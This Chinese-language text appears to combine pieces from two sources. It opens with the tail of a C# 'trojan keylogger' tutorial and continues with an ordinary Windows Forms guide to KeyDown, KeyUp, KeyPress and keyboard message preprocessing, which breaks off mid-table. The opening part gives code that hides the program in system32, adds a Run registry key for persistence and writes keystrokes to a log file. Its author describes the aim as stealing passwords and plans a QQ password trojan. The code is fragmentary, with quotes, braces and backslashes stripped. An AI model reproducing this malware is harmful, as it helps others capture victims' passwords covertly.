C#与键盘.doc

C#实现木马-键盘记录器 RegistryReport和 Report类这是RegistryReport 类的实现 public void MoveFile() /判断该位置是否存在_system.exe,如果不是，就把程序移动到该位置,否则返回 if(!File.Exists(c:windowssystem32_system.exe) File.Move(Application.ExecutablePath,c:windowssystem32_system.exe); else return; /在注册表里写如启动信息 public void registryRun() RegistryKey key1=Registry.CurrentUser.CreateSubKey(SoftwareMicrosoftWindowsCurrentVersionrun); key1.SetValue(,c:windowssystem32_system.exe); key1.Close(); 这是Report类的实现: public void FirstWrite() StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(* LittleStudio Studio * ); sw.WriteLine(* + DateTime.Today.Year.ToString() + . + DateTime.Today.Month.ToString() + . + DateTime.Today.Day.ToString() + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString() + *); sw.Close(); public void WriteDate(string keyEvents,string keyDate) try StreamWriter sw = new StreamWriter(c:/windows/system32/keyReport.txt,true); sw.WriteLine(keyDate + 键 + keyEvents + + DateTime.Now.Hour.ToString() + : + DateTime.Now.Minute.ToString() + : + DateTime.Now.Second.ToString(); sw.Close(); catch return; 这样一个木马就写完了.用这种方式来获取密码不好,他把所有的键盘消息都记录下来了，给我们对密码的分析造成了很大的问题,而且.net中使用HOOK只能使用全局钩子，如果对单个应用程序的挂钩就不行了，在这方面用VC就好多,但是我们也可以通过其他方式来获取指定应用程序(如QQ)的消息,而且可以单单对某个控件(如密码框)的挂钩,最近忙死了，我想过段时间把QQ木马的.net实现写上了， C#中KeyDown与KeyUp事件 在键盘按下键然后释放的过程中有3个事件发生，分别为KeyDown事件、KeyPress事件和KeyUp事件。 KeyDown和KeyUp事件让应用程序捕捉用户在键盘上按下的特殊键或某些特定键甚至组合键，只有在想要取得按下键或特殊键的相关信息时，才用到KeyDown和KeyUp事件。下面对KeyDown和KeyUp事件分别进行介绍。1KeyDown事件KeyDown事件在首次按下某个键时发生。 示例 KeyDown事件的使用本示例中，判断用户是否按下特殊键，如果是，则显示在窗体的标题栏上。程序主要代码如下。 private void textBox1_KeyDown(object sender, KeyEventArgs e) string G_str_Mode = ; string G_str_text = e.KeyCode + : + e.Modifiers + : + e.KeyData + : + ( + e.KeyValue + ); if (e.Shift = true) G_str_Mode = Shift 键被按下; if (e.Control = true) G_str_Mode = Ctrl 键被按下; if (e.Alt = true) G_str_Mode = Alt 键被按下; this.Text = G_str_text + G_str_Mode; 注意：上面的代码中，KeyDown事件取得了一个KeyEventArgs对象e，并返回相关的按键信息，KeyEventArgs参数提供数个属性值，这些属性根据键盘上被按下的按键返回对应值。KeyEventArgs参数的属性值如表所示。表 KeyEventArgs属性值属性值 说明 Control 获取一个值，该值指示是否曾按下Ctrl键 KeyCode 获取KeyDown或KeyUp事件的键盘代码 KeyData 获取KeyDown或KeyUp事件的键数据 KeyData 获取KeyDown或KeyUp事件的键数据 KeyValue 获取KeyDown或KeyUp事件的键盘值 Modifiers 获取KeyDown或KeyUp事件的修饰符标志。这些标志指示按下的Ctrl、Shift和Alt键的组合 Shift 获取一个值，该值指示是否曾按下Shift键 2Keyup事件Keyup事件在释放键时发生。 示例 Keyup事件的使用本示例实现的是，当程序运行的时候，按完键盘后，自动设置窗体的大小。程序主要代码如下。 private void frmKeyDownUP_KeyUp(object sender, KeyEventArgs e) this.ClientSize = new System.Drawing.Size(800,100); C#KeyPress事件在用户完成按键后发生 本示例实现的是，当程序运行的时候，只充许在文本框中输入数字，如果文本框输入的内容不是数字，文本框中的内容会显示在窗体的标题栏上，文本框中不会显示内容。程序主要代码如下。private void textBox2_KeyPress(object sender, KeyPressEventArgs e) if (e.KeyChar != 8 & !char.IsDigit(e.KeyChar) this.Text = e.KeyChar.ToString(); e.Handled = true; C#中键盘消息的响应 Windows窗体通过引发键盘事件来处理键盘输入以响应Windows消息，大多数Windows窗体应用程序都通过处理键盘事件来以独占方式处理键盘输入。为了更好的掌握Windows窗体中键盘处理的相关操作，程序开发人员应该了解键盘消息的工作方式，以便实现更高级的键盘输入方案（例如，在按键到达控件之前截获它们等）。本节将详细介绍有关Windows窗体中键盘处理操作的相关内容。1按键的类型Windows窗体将键盘输入标识为由按位Keys枚举表示的虚拟键代码。使用Keys枚举，可以综合一系列按键以生成单个值，这些值与WM_KEYDOWN和WM_SYSKEYDOWNWindows消息所伴随的值相对应。另外，程序开发人员可通过处理KeyDown或KeyUp事件来检测大多数物理按键操作。字符键是Keys枚举的子集，它们与WM_CHAR和WM_SYSCHAR Windows消息所伴随的值相对应，如果通过组合按键得到一个字符，则可以通过处理KeyPress事件来检测该字符。2键盘事件的顺序一个控件上可能出现3个与键盘相关的事件，下面是这些事件发生的常规顺序：用户按“a”键，该键将被预处理和调度，而且会发生KeyDown事件。用户按住“a”键，该键将被预处理和调度，而且会发生KeyPress事件。用户松开“a”键，该键将被预处理和调度，而且会发生KeyUp事件。3键的预处理像其他消息一样，键盘消息是在窗体或控件的WndProc方法中处理的。窗体或控件在处理键盘消息之前，PreProcessMessage方法会调用一个或多个方法，这些方法可被重写以处理特殊的字符键和物理按键。按照KeyDown事件和KeyPress事件预处理方法出现的顺序，列出了正在执行的操作以及所出现的相关方法。表 KeyDown事件的预处理具体操作 调用方法 说明 检查命令键（如快捷键或菜单快捷键） ProcessCmdKey 此方法处理命令键，命令键的优先级高于常规键。如果此方法返回true，则将不调度键消息，而且将不发生键事件。如果此方法返回false，则将调用IsInputKey 检查该键是否为需要预处理的特殊键，或者它是否为应当引发KeyDown事件并且被调度到某个控件的普通字符 IsInputKey 如果此方法返回true，则表示该控件为常规字符，而且将引发KeyDown事件。如果此方法返回false，则将调用ProcessDialogKey。注意：为了确保控件获取某个键或键的组合可以处理PreviewKeyDown事件，并针对所需的键，应该将PreviewKeyDownEventArgs的IsInputKey属性设置为true 检查该键是否为导航键（Esc、Tab、回车键或箭头键） ProcessDialogKey 此方法处理在控件内实现特殊功能（如在控件及其父级之间切换焦点）的物理按键。如果中间控件不处理该键，则将调用父控件的ProcessDialogKey，直至层次结构中的最顶端控件。如果此方法返回true，则将完成预处理，而且将不生成按键事件。如果此方法返回false，则将发生KeyDown事件 表 KeyPress事件的预处理具体操作 调用方法 说明 检查该键是否为控件应当处理的普通字符 IsInputChar 如果该字符是普通字符，则此方法返回true，并且将引发KeyPress事件，而且不再进行预处理。否则，将调用ProcessDialogChar 检查该字符是否为助记符（如按钮上的“确定(&O)”） ProcessDialogChar 类似于ProcessDialogKey，将沿控件的层次结构向上调用此方法。如果控件是容器控件，此方法将通过调用控件及其子控件的ProcessMnemonic来检查助记键。如果 ProcessDialogChar返回true，则KeyPress事件不会发生 4处理键盘消息键盘消息在到达窗体或控件的 WndProc 方法之后，它们将由一组可被重写的方法来处理。其中的每种方法都返回一个 Boolean 值，该值指定控件是否已处理和使用了键盘消息。如果其中的某种方法返回 true，则键盘消息将被视为已处理，而且它将不传递到控件的基控件或父控件进行进一步处理。否则，消息将停留在消息队列中，而且可能会在控件的基控件或父控件的其他方法中进行处理。用来处理键盘消息的方法及说明如表所示。表 处理键盘消息方法 说明 ProcessKeyMessage 此方法处理由控件的WndProc方法接收的所有键盘消息 ProcessKeyPreview 此方法将键盘消息发送到控件的父控件。如果ProcessKeyPreview返回true，则将不生成键事件；否则将调用ProcessKeyEventArgs ProcessKeyEventArgs 此方法根据需要引发KeyDown、KeyPress和KeyUp事件 5重写键盘方法在预处理和处理键盘消息时，可以使用许多方法进行重写。需要完成的任务以及重写键盘方法的最佳方式如表所示。表 重写键盘方